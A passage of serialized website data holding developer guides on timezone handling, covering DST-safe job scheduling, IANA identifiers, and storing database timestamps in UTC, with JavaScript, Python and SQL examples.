 return new Date(utcString).toUTCString()\n}\n",[143,207013,207014,207019,207037,207051,207066,207085,207089,207094,207109,207118,207126,207134,207146,207150,207154,207159,207180,207196],{"__ignoreMap":141},[1560,207015,207016],{"class":1562,"line":1563},[1560,207017,207018],{"class":1649},"\u002F\u002F After a DST transition, recalculate the next run time\n",[1560,207020,207021,207023,207026,207028,207031,207033,207035],{"class":1562,"line":337},[1560,207022,8648],{"class":1669},[1560,207024,207025],{"class":1566}," getNextRun",[1560,207027,1688],{"class":1570},[1560,207029,207030],{"class":2219},"localHour",[1560,207032,1459],{"class":1570},[1560,207034,206941],{"class":2219},[1560,207036,9345],{"class":1570},[1560,207038,207039,207041,207043,207045,207047,207049],{"class":1562,"line":343},[1560,207040,28057],{"class":1669},[1560,207042,90092],{"class":1576},[1560,207044,8186],{"class":1669},[1560,207046,11489],{"class":1669},[1560,207048,87644],{"class":1566},[1560,207050,27830],{"class":1570},[1560,207052,207053,207055,207057,207059,207061,207063],{"class":1562,"line":365},[1560,207054,28057],{"class":1669},[1560,207056,89535],{"class":1576},[1560,207058,8186],{"class":1669},[1560,207060,11489],{"class":1669},[1560,207062,87644],{"class":1566},[1560,207064,207065],{"class":1570},"(now)\n",[1560,207067,207068,207071,207073,207075,207077,207079,207081,207083],{"class":1562,"line":889},[1560,207069,207070],{"class":1570},"  tomorrow.",[1560,207072,87659],{"class":1566},[1560,207074,89611],{"class":1570},[1560,207076,87665],{"class":1566},[1560,207078,38111],{"class":1570},[1560,207080,9448],{"class":1669},[1560,207082,18868],{"class":1576},[1560,207084,8252],{"class":1570},[1560,207086,207087],{"class":1562,"line":1710},[1560,207088,1702],{"emptyLinePlaceholder":363},[1560,207090,207091],{"class":1562,"line":1717},[1560,207092,207093],{"class":1649},"  \u002F\u002F Create the desired local time tomorrow\n",[1560,207095,207096,207098,207101,207103,207105,207107],{"class":1562,"line":1747},[1560,207097,28057],{"class":1669},[1560,207099,207100],{"class":1576}," localTime",[1560,207102,8186],{"class":1669},[1560,207104,11489],{"class":1669},[1560,207106,87644],{"class":1566},[1560,207108,35957],{"class":1570},[1560,207110,207111,207114,207116],{"class":1562,"line":2507},[1560,207112,207113],{"class":1570},"    tomorrow.",[1560,207115,88700],{"class":1566},[1560,207117,176774],{"class":1570},[1560,207119,207120,207122,207124],{"class":1562,"line":2524},[1560,207121,207113],{"class":1570},[1560,207123,88186],{"class":1566},[1560,207125,176774],{"class":1570},[1560,207127,207128,207130,207132],{"class":1562,"line":2529},[1560,207129,207113],{"class":1570},[1560,207131,87665],{"class":1566},[1560,207133,176774],{"class":1570},[1560,207135,207136,207139,207141,207143],{"class":1562,"line":2534},[1560,207137,207138],{"class":1570},"    localHour, ",[1560,207140,5285],{"class":1576},[1560,207142,1459],{"class":1570},[1560,207144,207145],{"class":1576},"0\n",[1560,207147,207148],{"class":1562,"line":2542},[1560,207149,139180],{"class":1570},[1560,207151,207152],{"class":1562,"line":2558},[1560,207153,1702],{"emptyLinePlaceholder":363},[1560,207155,207156],{"class":1562,"line":2570},[1560,207157,207158],{"class":1649},"  \u002F\u002F Convert to UTC using the IANA timezone\n",[1560,207160,207161,207163,207166,207168,207171,207173,207175,207177],{"class":1562,"line":6638},[1560,207162,28057],{"class":1669},[1560,207164,207165],{"class":1576}," utcString",[1560,207167,8186],{"class":1669},[1560,207169,207170],{"class":1570}," localTime.",[1560,207172,94975],{"class":1566},[1560,207174,1688],{"class":1570},[1560,207176,89294],{"class":5634},[1560,207178,207179],{"class":1570},", { timeZone: timezone })\n",[1560,207181,207182,207184,207186,207188,207191,207194],{"class":1562,"line":11615},[1560,207183,9350],{"class":1669},[1560,207185,11489],{"class":1669},[1560,207187,87644],{"class":1566},[1560,207189,207190],{"class":1570},"(utcString).",[1560,207192,207193],{"class":1566},"toUTCString",[1560,207195,27830],{"class":1570},[1560,207197,207198],{"class":1562,"line":11621},[1560,207199,1585],{"class":1570},[33,207201,207203],{"id":207202},"the-fall-back-duplicate-run","The fall-back duplicate run",[16,207205,207206],{},"If a job runs every hour, it executes twice at 1 AM on fall-back day:",[135,207208,207211],{"className":207209,"code":207210,"language":140},[138],"01:00 EDT → runs job\n01:00 EST → runs job again (same wall-clock time, different UTC time)\n",[143,207212,207210],{"__ignoreMap":141},[16,207214,207215,207217],{},[47,207216,1852],{}," Track the last UTC run timestamp. Before executing, check if the job already ran at this UTC time.",[33,207219,207221],{"id":207220},"the-spring-forward-skip","The spring-forward skip",[16,207223,207224],{},"If a job is scheduled for 2:30 AM local time, it never runs on spring-forward day:",[135,207226,207229],{"className":207227,"code":207228,"language":140},[138],"01:59 EST → 03:00 EDT — 02:30 does not exist\n",[143,207230,207228],{"__ignoreMap":141},[16,207232,207233,207235],{},[47,207234,1852],{}," Detect the gap using the IANA database. If the scheduled time falls in a DST gap, advance to the next valid time (e.g., 03:00 AM) and log a warning.",[11,207237,207239],{"id":207238},"distributed-system-patterns","Distributed System Patterns",[33,207241,207243],{"id":207242},"server-timezone-independence","Server timezone independence",[16,207245,207246,207247,207249,207250,207253],{},"Never depend on the server's local timezone. A server in ",[143,207248,89720],{}," moved to ",[143,207251,207252],{},"Europe\u002FLondon"," changes every schedule. Always specify timezones explicitly.",[135,207255,207257],{"className":8259,"code":207256,"language":8261,"meta":141,"style":141},"# WRONG — depends on server timezone\nimport schedule\nschedule.every().day.at(\"02:00\").do(job)\n\n# CORRECT — explicit UTC\nfrom datetime import datetime, timezone\nnext_run = datetime(2026, 1, 15, 6, 0, tzinfo=timezone.utc)\n",[143,207258,207259,207264,207269,207274,207278,207282,207286],{"__ignoreMap":141},[1560,207260,207261],{"class":1562,"line":1563},[1560,207262,207263],{},"# WRONG — depends on server timezone\n",[1560,207265,207266],{"class":1562,"line":337},[1560,207267,207268],{},"import schedule\n",[1560,207270,207271],{"class":1562,"line":343},[1560,207272,207273],{},"schedule.every().day.at(\"02:00\").do(job)\n",[1560,207275,207276],{"class":1562,"line":365},[1560,207277,1702],{"emptyLinePlaceholder":363},[1560,207279,207280],{"class":1562,"line":889},[1560,207281,206924],{},[1560,207283,207284],{"class":1562,"line":1710},[1560,207285,88316],{},[1560,207287,207288],{"class":1562,"line":1717},[1560,207289,207290],{},"next_run = datetime(2026, 1, 15, 6, 0, tzinfo=timezone.utc)\n",[33,207292,90253],{"id":207293},"clock-skew-between-servers",[16,207295,207296],{},"In distributed systems, servers may have clock skew of several milliseconds. For jobs that must not run twice (e.g., financial batch processing), use a distributed lock:",[135,207298,207301],{"className":207299,"code":207300,"language":140},[138],"1. Acquire lock with TTL slightly longer than job duration\n2. Execute job\n3. Release lock\n",[143,207302,207300],{"__ignoreMap":141},[16,207304,207305],{},"Redis, ZooKeeper, or database-level advisory locks all work. Without locking, two servers may both decide it is time to run the job.",[33,207307,207309],{"id":207308},"idempotency","Idempotency",[16,207311,207312],{},"Design every scheduled job to be safely re-runnable. If a job runs twice due to a DST ambiguity or a retry, the result should be identical to a single run. This eliminates an entire class of timezone-related bugs.",[11,207314,207316],{"id":207315},"scheduling-across-timezones-for-users","Scheduling Across Timezones for Users",[16,207318,207319],{},"When users in multiple timezones need jobs at \"their\" 2 AM:",[193,207321,207322,207333],{},[196,207323,207324],{},[199,207325,207326,207328,207331],{},[202,207327,18376],{},[202,207329,207330],{},"Implementation",[202,207332,80936],{},[211,207334,207335,207346,207357],{},[199,207336,207337,207340,207343],{},[216,207338,207339],{},"Per-user UTC conversion",[216,207341,207342],{},"Convert each user's 2 AM to UTC, schedule individually",[216,207344,207345],{},"Most accurate, complex to manage",[199,207347,207348,207351,207354],{},[216,207349,207350],{},"Regional batches",[216,207352,207353],{},"Group users by timezone, schedule batch per region",[216,207355,207356],{},"Simpler, less granular",[199,207358,207359,207362,207365],{},[216,207360,207361],{},"Fixed UTC with offset display",[216,207363,207364],{},"Run at one UTC time, show local equivalent per user",[216,207366,207367],{},"Simplest, local times shift with DST",[16,207369,207370],{},"Choose based on how critical the exact local time is. Most batch jobs tolerate a one-hour shift — user-facing notifications often do not.",[11,207372,95105],{"id":95104},[193,207374,207375,207386],{},[196,207376,207377],{},[199,207378,207379,207381,207384],{},[202,207380,95114],{},[202,207382,207383],{},"Root cause",[202,207385,3690],{},[211,207387,207388,207399,207410,207421,207432],{},[199,207389,207390,207393,207396],{},[216,207391,207392],{},"Job runs an hour late after DST ends",[216,207394,207395],{},"Cron uses server local time",[216,207397,207398],{},"Schedule in UTC explicitly",[199,207400,207401,207404,207407],{},[216,207402,207403],{},"Job runs twice on fall-back day",[216,207405,207406],{},"Hourly schedule hits ambiguous time",[216,207408,207409],{},"Track last UTC run timestamp",[199,207411,207412,207415,207418],{},[216,207413,207414],{},"Job skips on spring-forward day",[216,207416,207417],{},"Fixed local time falls in gap",[216,207419,207420],{},"Detect gap, advance to next valid time",[199,207422,207423,207426,207429],{},[216,207424,207425],{},"Batch processes wrong day's data",[216,207427,207428],{},"Date boundary shifts with DST",[216,207430,207431],{},"Use UTC date boundaries for data selection",[199,207433,207434,207437,207440],{},[216,207435,207436],{},"drift over months",[216,207438,207439],{},"Server timezone mismatch",[216,207441,207442],{},"Never depend on server timezone",[11,207444,1355],{"id":1354},[41,207446,207447,207450,207453,207456,207459,207462,207465],{},[44,207448,207449],{},"Define and store every scheduled job in UTC — no exceptions",[44,207451,207452],{},"When local time must stay constant across DST, store the user's IANA timezone and recalculate UTC after each transition",[44,207454,207455],{},"Track last-run timestamps to prevent duplicate execution during fall-back",[44,207457,207458],{},"Detect spring-forward gaps and advance skipping jobs to the next valid time",[44,207460,207461],{},"Never depend on server local timezone — specify explicitly",[44,207463,207464],{},"Use distributed locks for jobs that must not run twice across servers",[44,207466,207467],{},"Design jobs to be idempotent — safe re-runs eliminate an entire class of bugs",[11,207469,321],{"id":320},[41,207471,207472,207476,207480],{},[44,207473,207474],{},[98,207475,89788],{"href":89787},[44,207477,207478],{},[98,207479,89169],{"href":89840},[44,207481,207482],{},[98,207483,89794],{"href":89793},[11,207485,286],{"id":285},[16,207487,207488,207489,207491],{},"Verify your timezone conversions with our free ",[98,207490,960],{"href":89808},". Enter your UTC schedule and check the local equivalent across DST boundaries — all calculations use IANA data with automatic DST adjustment.",[2043,207493,207494],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":141,"searchDepth":337,"depth":337,"links":207496},[207497,207498,207501,207507,207512,207513,207514,207515,207516],{"id":206863,"depth":337,"text":206864},{"id":206873,"depth":337,"text":206874,"children":207499},[207500],{"id":206880,"depth":343,"text":206881},{"id":206952,"depth":337,"text":206953,"children":207502},[207503,207504,207505,207506],{"id":206956,"depth":343,"text":206957},{"id":207004,"depth":343,"text":207005},{"id":207202,"depth":343,"text":207203},{"id":207220,"depth":343,"text":207221},{"id":207238,"depth":337,"text":207239,"children":207508},[207509,207510,207511],{"id":207242,"depth":343,"text":207243},{"id":207293,"depth":343,"text":90253},{"id":207308,"depth":343,"text":207309},{"id":207315,"depth":337,"text":207316},{"id":95104,"depth":337,"text":95105},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Avoid timezone bugs in cron jobs, scheduled tasks, and distributed systems — UTC-first strategies, DST-safe scheduling, and practical patterns.",{"immutable":363},{"title":89800,"description":207517},"guides\u002Ftimezone-conversion-scheduled-jobs","vVWjeDaDPxuu9YyioPzjbmmt9a3dCeMj4Id_IxEcPpM",{"id":207523,"title":89788,"body":207524,"date":2070,"description":207869,"extension":361,"meta":207870,"navigation":363,"path":89787,"readingTime":1710,"seo":207871,"stem":207872,"__hash__":207873},"guides\u002Fguides\u002Ftimezone-converter-guide.md",{"type":8,"value":207525,"toc":207854},[207526,207530,207533,207536,207540,207547,207554,207560,207575,207579,207582,207584,207587,207593,207596,207598,207601,207606,207609,207613,207616,207622,207625,207629,207632,207658,207666,207670,207719,207721,207800,207802,207835,207837,207847,207849],[11,207527,207529],{"id":207528},"why-timezone-conversion-matters","Why Timezone Conversion Matters",[16,207531,207532],{},"Global teams, international clients, and distributed servers all depend on accurate timezone conversion. A single hour of confusion can mean a missed meeting, a failed deployment, or a financial miscalculation. Timezone errors are among the most common — and most costly — bugs in software.",[16,207534,207535],{},"You do not need to memorize offset tables. You need a reliable method and the right tool.",[11,207537,207539],{"id":207538},"iana-timezone-identifiers","IANA Timezone Identifiers",[16,207541,207542,207543,207546],{},"Time zones evolve. Governments change rules, add DST, or abolish it entirely. The Internet Assigned Numbers Authority (IANA) maintains a timezone database — often called the ",[47,207544,207545],{},"tz database"," — that tracks every official change worldwide.",[16,207548,207549,207550,207553],{},"IANA identifiers use a ",[143,207551,207552],{},"Region\u002FCity"," format:",[135,207555,207558],{"className":207556,"code":207557,"language":140,"meta":141},[138],"America\u002FNew_York\nEurope\u002FLondon\nAsia\u002FTokyo\nAustralia\u002FSydney\nPacific\u002FAuckland\n",[143,207559,207557],{"__ignoreMap":141},[16,207561,207562,207565,207566,1531,207568,207571,207572,207574],{},[47,207563,207564],{},"Always use IANA identifiers"," in code and configuration. Avoid abbreviations like ",[143,207567,89709],{},[143,207569,207570],{},"PST"," — they are ambiguous. ",[143,207573,89709],{}," could mean Eastern Standard Time in the US or Eastern Standard Time in Australia, and neither accounts for Daylight Saving Time.",[11,207576,207578],{"id":207577},"daylight-saving-time-complications","Daylight Saving Time Complications",[16,207580,207581],{},"Daylight Saving Time (DST) shifts clocks forward or back by one hour, typically in spring and autumn. Not all regions observe DST, and the dates vary by country.",[33,207583,89185],{"id":89184},[16,207585,207586],{},"When clocks fall back, the same local time occurs twice:",[135,207588,207591],{"className":207589,"code":207590,"language":140,"meta":141},[138],"2025-11-02 01:30:00 (EDT, UTC-4)\n2025-11-02 01:30:00 (EST, UTC-5)\n",[143,207592,207590],{"__ignoreMap":141},[16,207594,207595],{},"Without an offset or timezone identifier, you cannot tell which one a timestamp refers to. A timezone converter that uses IANA data resolves this automatically.",[33,207597,89432],{"id":89431},[16,207599,207600],{},"When clocks spring forward, one local time never exists:",[135,207602,207604],{"className":207603,"code":89439,"language":140,"meta":141},[138],[143,207605,89439],{"__ignoreMap":141},[16,207607,207608],{},"Scheduling an event during this gap silently moves it forward or backward depending on the system handling it.",[33,207610,207612],{"id":207611},"duration-changes","Duration Changes",[16,207614,207615],{},"A \"24-hour\" period does not always contain 24 hours in local time:",[135,207617,207620],{"className":207618,"code":207619,"language":140,"meta":141},[138],"Nov 1, 2025 1:00 AM EDT → Nov 2, 2025 1:00 AM EST = 25 hours\n",[143,207621,207619],{"__ignoreMap":141},[16,207623,207624],{},"Use UTC for duration calculations to avoid these traps.",[11,207626,207628],{"id":207627},"how-to-use-a-timezone-converter","How to Use a Timezone Converter",[16,207630,207631],{},"A timezone converter takes a date and time in one zone and returns the equivalent in another. Here is the typical workflow:",[77,207633,207634,207640,207646,207652],{},[44,207635,207636,207639],{},[47,207637,207638],{},"Enter the source time"," — type the date and time, or select from a picker",[44,207641,207642,207645],{},[47,207643,207644],{},"Select the source timezone"," — choose from IANA identifiers or search by city",[44,207647,207648,207651],{},[47,207649,207650],{},"Select the target timezone"," — the converter shows the result instantly",[44,207653,207654,207657],{},[47,207655,207656],{},"Verify the offset"," — check the UTC offset displayed for both zones",[16,207659,421,207660,207662,207663,207665],{},[98,207661,960],{"href":89808}," uses your browser's ",[143,207664,206461],{}," API with official IANA data, so DST adjustments happen automatically.",[11,207667,207669],{"id":207668},"tips-for-scheduling-across-time-zones","Tips for Scheduling Across Time Zones",[41,207671,207672,207685,207691,207697,207703,207709],{},[44,207673,207674,207677,207678,207681,207682],{},[47,207675,207676],{},"Always include the timezone"," when sharing a time — write ",[143,207679,207680],{},"3 PM EDT",", not just ",[143,207683,207684],{},"3 PM",[44,207686,207687,207690],{},[47,207688,207689],{},"Lead with UTC"," in written communication when multiple zones are involved",[44,207692,207693,207696],{},[47,207694,207695],{},"Check both directions"," — convert the meeting time for every participant, not just your own",[44,207698,207699,207702],{},[47,207700,207701],{},"Avoid scheduling near DST transitions"," — the days around a clock change invite confusion",[44,207704,207705,207708],{},[47,207706,207707],{},"Use a shared calendar"," — tools like Google Calendar render events in each attendee's local timezone",[44,207710,207711,207714,207715,207718],{},[47,207712,207713],{},"Confirm ambiguous times"," — if someone says ",[143,207716,207717],{},"1:30 AM on November 2",", ask whether they mean before or after the clock change",[11,207720,2341],{"id":2340},[193,207722,207723,207733],{},[196,207724,207725],{},[199,207726,207727,207729,207731],{},[202,207728,3684],{},[202,207730,3687],{},[202,207732,3690],{},[211,207734,207735,207750,207761,207774,207785],{},[199,207736,207737,207742,207745],{},[216,207738,207739,207740],{},"Using abbreviations like ",[143,207741,89712],{},[216,207743,207744],{},"CST means four different zones worldwide",[216,207746,207747,207748],{},"Use IANA identifiers like ",[143,207749,89723],{},[199,207751,207752,207755,207758],{},[216,207753,207754],{},"Assuming offsets are fixed",[216,207756,207757],{},"DST changes offsets by ±1 hour twice a year",[216,207759,207760],{},"Always use IANA-aware libraries or tools",[199,207762,207763,207765,207771],{},[216,207764,89695],{},[216,207766,207767,207770],{},[143,207768,207769],{},"-5"," for New York is wrong half the year",[216,207772,207773],{},"Let the library compute the offset for the specific date",[199,207775,207776,207779,207782],{},[216,207777,207778],{},"Mixing local and UTC in calculations",[216,207780,207781],{},"Adding hours to a local timestamp across DST gives wrong results",[216,207783,207784],{},"Convert to UTC first, do the math, then convert back",[199,207786,207787,207794,207797],{},[216,207788,207789,207790,207793],{},"Trusting ",[143,207791,207792],{},"Date.getTimezoneOffset()"," blindly",[216,207795,207796],{},"It returns the offset for the current moment, not for arbitrary dates",[216,207798,207799],{},"Use Intl or a library that supports date-specific offsets",[11,207801,1355],{"id":1354},[41,207803,207804,207814,207820,207826,207832],{},[44,207805,1388,207806,5181,207809,207811,207812,1525],{},[47,207807,207808],{},"IANA timezone identifiers",[143,207810,89720],{},") instead of abbreviations (",[143,207813,89709],{},[44,207815,207816,207819],{},[47,207817,207818],{},"Daylight Saving Time"," creates ambiguous and missing hours — only IANA-aware tools handle these correctly",[44,207821,161902,207822,207825],{},[47,207823,207824],{},"timezone information"," every time you share or store a time",[44,207827,207828,207831],{},[47,207829,207830],{},"Convert to UTC"," for calculations, then to local time for display",[44,207833,207834],{},"A reliable timezone converter removes the guesswork from cross-zone scheduling",[11,207836,321],{"id":320},[41,207838,207839,207843],{},[44,207840,207841],{},[98,207842,89794],{"href":89793},[44,207844,207845],{},[98,207846,206353],{"href":206853},[11,207848,286],{"id":285},[16,207850,29979,207851,207853],{},[98,207852,960],{"href":89808}," to convert times between any two zones — DST adjustments are handled automatically.",{"title":141,"searchDepth":337,"depth":337,"links":207855},[207856,207857,207858,207863,207864,207865,207866,207867,207868],{"id":207528,"depth":337,"text":207529},{"id":207538,"depth":337,"text":207539},{"id":207577,"depth":337,"text":207578,"children":207859},[207860,207861,207862],{"id":89184,"depth":343,"text":89185},{"id":89431,"depth":343,"text":89432},{"id":207611,"depth":343,"text":207612},{"id":207627,"depth":337,"text":207628},{"id":207668,"depth":337,"text":207669},{"id":2340,"depth":337,"text":2341},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"How to convert time between time zones accurately — tools, tips, and common pitfalls when working across time zones.",{"immutable":363},{"title":89788,"description":207869},"guides\u002Ftimezone-converter-guide","YR8tQ0uu3yp_mzzgFycjgwVgAByG4XN5bVG_UMhz7Is",{"id":207875,"title":207876,"body":207877,"date":2070,"description":208832,"extension":361,"meta":208833,"navigation":363,"path":208834,"readingTime":1710,"seo":208835,"stem":208836,"__hash__":208837},"guides\u002Fguides\u002Ftimezone-database-timestamps.md","Timezone Handling in Database Timestamps: Best Practices",{"type":8,"value":207878,"toc":208809},[207879,207883,207886,207889,207893,207897,207900,207953,207959,207963,207970,208019,208025,208054,208056,208114,208118,208122,208125,208253,208257,208260,208428,208431,208435,208438,208463,208627,208631,208647,208720,208722,208726,208746,208750,208757,208761,208764,208766,208794,208796,208802,208806],[11,207880,207882],{"id":207881},"the-timezone-problem-in-databases","The Timezone Problem in Databases",[16,207884,207885],{},"Timezone mishandling is one of the most common sources of bugs in web applications. Appointments show up on the wrong day. Daily reports include data from the previous day. Scheduled tasks fire at unexpected hours. The root cause is almost always inconsistent timezone handling between the application layer and the database.",[16,207887,207888],{},"The solution is straightforward in principle: store timestamps in UTC, and convert to local time only at the display layer. In practice, the details matter.",[11,207890,207892],{"id":207891},"storage-strategies","Storage Strategies",[33,207894,207896],{"id":207895},"strategy-1-always-store-utc","Strategy 1: Always Store UTC",[16,207898,207899],{},"This is the most widely recommended approach. Every timestamp enters the database as UTC, and the application converts to the user's local timezone at render time.",[135,207901,207903],{"className":23599,"code":207902,"language":23601,"meta":141,"style":141},"-- PostgreSQL: TIMESTAMP WITHOUT TIME ZONE storing UTC values\nCREATE TABLE events (\n  id SERIAL PRIMARY KEY,\n  name TEXT NOT NULL,\n  created_at TIMESTAMP NOT NULL  -- always UTC, even though the column doesn't enforce it\n);\n\n-- Insert as UTC\nINSERT INTO events (name, created_at)\nVALUES ('User signup', '2024-05-28 14:30:00');\n",[143,207904,207905,207910,207915,207920,207925,207930,207934,207938,207943,207948],{"__ignoreMap":141},[1560,207906,207907],{"class":1562,"line":1563},[1560,207908,207909],{},"-- PostgreSQL: TIMESTAMP WITHOUT TIME ZONE storing UTC values\n",[1560,207911,207912],{"class":1562,"line":337},[1560,207913,207914],{},"CREATE TABLE events (\n",[1560,207916,207917],{"class":1562,"line":343},[1560,207918,207919],{},"  id SERIAL PRIMARY KEY,\n",[1560,207921,207922],{"class":1562,"line":365},[1560,207923,207924],{},"  name TEXT NOT NULL,\n",[1560,207926,207927],{"class":1562,"line":889},[1560,207928,207929],{},"  created_at TIMESTAMP NOT NULL  -- always UTC, even though the column doesn't enforce it\n",[1560,207931,207932],{"class":1562,"line":1710},[1560,207933,1744],{},[1560,207935,207936],{"class":1562,"line":1717},[1560,207937,1702],{"emptyLinePlaceholder":363},[1560,207939,207940],{"class":1562,"line":1747},[1560,207941,207942],{},"-- Insert as UTC\n",[1560,207944,207945],{"class":1562,"line":2507},[1560,207946,207947],{},"INSERT INTO events (name, created_at)\n",[1560,207949,207950],{"class":1562,"line":2524},[1560,207951,207952],{},"VALUES ('User signup', '2024-05-28 14:30:00');\n",[16,207954,207955,207958],{},[47,207956,207957],{},"Risk",": The database does not enforce UTC. A developer can insert local time by mistake, and nothing catches the error until a user reports wrong timestamps.",[33,207960,207962],{"id":207961},"strategy-2-use-timestamptz","Strategy 2: Use TIMESTAMPTZ",[16,207964,207965,207966,207969],{},"PostgreSQL's ",[143,207967,207968],{},"TIMESTAMPTZ"," column type stores the timestamp converted to UTC internally but remembers the timezone offset for input:",[135,207971,207973],{"className":23599,"code":207972,"language":23601,"meta":141,"style":141},"CREATE TABLE events (\n  id SERIAL PRIMARY KEY,\n  name TEXT NOT NULL,\n  created_at TIMESTAMPTZ NOT NULL  -- stores UTC internally\n);\n\n-- Input with offset — PostgreSQL converts to UTC automatically\nINSERT INTO events (name, created_at)\nVALUES ('Meeting', '2024-05-28 14:30:00+02:00');\n-- Stored internally as 2024-05-28 12:30:00 UTC\n",[143,207974,207975,207979,207983,207987,207992,207996,208000,208005,208009,208014],{"__ignoreMap":141},[1560,207976,207977],{"class":1562,"line":1563},[1560,207978,207914],{},[1560,207980,207981],{"class":1562,"line":337},[1560,207982,207919],{},[1560,207984,207985],{"class":1562,"line":343},[1560,207986,207924],{},[1560,207988,207989],{"class":1562,"line":365},[1560,207990,207991],{},"  created_at TIMESTAMPTZ NOT NULL  -- stores UTC internally\n",[1560,207993,207994],{"class":1562,"line":889},[1560,207995,1744],{},[1560,207997,207998],{"class":1562,"line":1710},[1560,207999,1702],{"emptyLinePlaceholder":363},[1560,208001,208002],{"class":1562,"line":1717},[1560,208003,208004],{},"-- Input with offset — PostgreSQL converts to UTC automatically\n",[1560,208006,208007],{"class":1562,"line":1747},[1560,208008,207947],{},[1560,208010,208011],{"class":1562,"line":2507},[1560,208012,208013],{},"VALUES ('Meeting', '2024-05-28 14:30:00+02:00');\n",[1560,208015,208016],{"class":1562,"line":2524},[1560,208017,208018],{},"-- Stored internally as 2024-05-28 12:30:00 UTC\n",[16,208020,208021,208022,208024],{},"When you query a ",[143,208023,207968],{}," column, PostgreSQL returns the value in the session's timezone setting:",[135,208026,208028],{"className":23599,"code":208027,"language":23601,"meta":141,"style":141},"-- Set session timezone\nSET timezone = 'America\u002FNew_York';\n\nSELECT created_at FROM events;\n-- Returns: 2024-05-28 08:30:00-04:00\n",[143,208029,208030,208035,208040,208044,208049],{"__ignoreMap":141},[1560,208031,208032],{"class":1562,"line":1563},[1560,208033,208034],{},"-- Set session timezone\n",[1560,208036,208037],{"class":1562,"line":337},[1560,208038,208039],{},"SET timezone = 'America\u002FNew_York';\n",[1560,208041,208042],{"class":1562,"line":343},[1560,208043,1702],{"emptyLinePlaceholder":363},[1560,208045,208046],{"class":1562,"line":365},[1560,208047,208048],{},"SELECT created_at FROM events;\n",[1560,208050,208051],{"class":1562,"line":889},[1560,208052,208053],{},"-- Returns: 2024-05-28 08:30:00-04:00\n",[33,208055,70069],{"id":70068},[193,208057,208058,208073],{},[196,208059,208060],{},[199,208061,208062,208064,208067,208070],{},[202,208063,81881],{},[202,208065,208066],{},"Enforces UTC",[202,208068,208069],{},"Timezone-Aware Queries",[202,208071,208072],{},"Portability",[211,208074,208075,208088,208101],{},[199,208076,208077,208082,208084,208086],{},[216,208078,208079,208081],{},[143,208080,170325],{}," (UTC by convention)",[216,208083,6117],{},[216,208085,124118],{},[216,208087,15446],{},[199,208089,208090,208094,208096,208098],{},[216,208091,208092],{},[143,208093,207968],{},[216,208095,124101],{},[216,208097,3057],{},[216,208099,208100],{},"PostgreSQL-specific",[199,208102,208103,208106,208109,208111],{},[216,208104,208105],{},"Unix epoch integer",[216,208107,208108],{},"Yes (by definition)",[216,208110,124118],{},[216,208112,208113],{},"Highest",[11,208115,208117],{"id":208116},"application-layer-handling","Application Layer Handling",[33,208119,208121],{"id":208120},"sending-timestamps-to-the-database","Sending Timestamps to the Database",[16,208123,208124],{},"Always send timestamps in ISO 8601 format with UTC indicator:",[135,208126,208128],{"className":1607,"code":208127,"language":1609,"meta":141,"style":141},"\u002F\u002F Node.js — always send UTC to the database\nconst now = new Date();                           \u002F\u002F local time object\nconst utcISO = now.toISOString();                 \u002F\u002F \"2024-05-28T14:30:00.000Z\"\nconst epochSeconds = Math.floor(now.getTime() \u002F 1000); \u002F\u002F 1716898200\n\n\u002F\u002F With an ORM like Prisma\nawait prisma.event.create({\n  data: {\n    name: 'User signup',\n    createdAt: now,  \u002F\u002F Prisma handles UTC conversion\n  },\n});\n",[143,208129,208130,208135,208153,208173,208202,208206,208211,208222,208227,208237,208245,208249],{"__ignoreMap":141},[1560,208131,208132],{"class":1562,"line":1563},[1560,208133,208134],{"class":1649},"\u002F\u002F Node.js — always send UTC to the database\n",[1560,208136,208137,208139,208141,208143,208145,208147,208150],{"class":1562,"line":337},[1560,208138,8180],{"class":1669},[1560,208140,90092],{"class":1576},[1560,208142,8186],{"class":1669},[1560,208144,11489],{"class":1669},[1560,208146,87644],{"class":1566},[1560,208148,208149],{"class":1570},"();                           ",[1560,208151,208152],{"class":1649},"\u002F\u002F local time object\n",[1560,208154,208155,208157,208160,208162,208165,208167,208170],{"class":1562,"line":343},[1560,208156,8180],{"class":1669},[1560,208158,208159],{"class":1576}," utcISO",[1560,208161,8186],{"class":1669},[1560,208163,208164],{"class":1570}," now.",[1560,208166,90155],{"class":1566},[1560,208168,208169],{"class":1570},"();                 ",[1560,208171,208172],{"class":1649},"\u002F\u002F \"2024-05-28T14:30:00.000Z\"\n",[1560,208174,208175,208177,208180,208182,208184,208186,208189,208191,208193,208195,208197,208199],{"class":1562,"line":365},[1560,208176,8180],{"class":1669},[1560,208178,208179],{"class":1576}," 